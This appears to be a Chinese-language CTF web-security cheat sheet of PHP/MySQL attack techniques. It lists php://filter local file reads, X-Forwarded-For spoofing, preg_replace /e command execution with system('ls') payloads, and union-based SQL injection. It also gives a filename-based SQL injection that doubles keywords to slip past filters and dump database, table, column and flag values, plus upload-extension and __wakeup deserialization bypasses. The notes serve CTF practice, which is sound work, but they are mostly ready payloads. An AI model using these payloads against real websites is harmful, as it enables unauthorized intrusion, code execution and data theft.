任意文件读取
http://xxxxxx/index.php?page=index
类似于这样的链接,应该直接想到任意文件读取
page=php://filter/read=convert.base64-encode/resource=index.php
实例:
1 | if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { |
看到这样的代码我们可以这样构造payload:
在HTTP头添加:
X-Forwarded-For:127.0.0.1
/index.php?pat=/a/e&rep=system(‘ls’)&sub=a
从而爆出文件列
/index.php?pat=/a/e&rep=system(‘ls+文件名’)&sub=a
从而爆出该文件下的文件名
/index.php?pat=/a/e&rep=system(‘ls+文件名/文件名’)&sub=a
command_execution(命令执行)
SQL注入
爆库(xxxx,爆表(xxx,爆列(xx,爆值(x
1 | 1' union select 1,1,database() # |
文件上传
后缀名可改为:php5
一句话可以写为:
LFI漏洞的黑盒判断方法
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
SQL与文件上传
典型的2015RCTF题型 打着文件上传的幌子,实际上是SQL注入,注入方式也很特别,所以当我们拿到文件上传想关题目,什么姿势都试过了,却拿不到flag,这个时候可以换个方式,找找注入点,一般注入点在filename,payload如下:
爆库
1 | '+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg |
1 | '+(selselectect CONV(substr(hex(database()),13,12),16,10))+'.jpg |
爆表名
1 | '+(seleselectct CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg |
爆列名
1 | '+(seleselectct CONV(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg |
爆值
1 | '+(selselectect CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg |
类似于这样的题目都是骚题目,所以flag肯定不会一下就出来,每次只会 出来一部分,所以需要我们迂回注入
即为修改一下substr的起始位置参数,看看后边还有没有
当然根据情况而定,如果一次性爆出来就不需要迂回了
扫描
robots.txt
robot:在这个文件中网站管理者可以声明该网站中不想被搜索引擎访问的部分,或者指定搜索引擎只收录指定的内容。
当拿到一个网站,在找不到突破口的情况下,可以尝试robots.txt,看看有没有新发现
dirsearch
也可以使用dirsearch进行扫描,Linux下惯用语法:
1 | sudo ./dirsearch.py -u url -e * |
魔术方法__wakeup绕过
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup
的执行。
eg:
O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
把 1改为大于它的数即可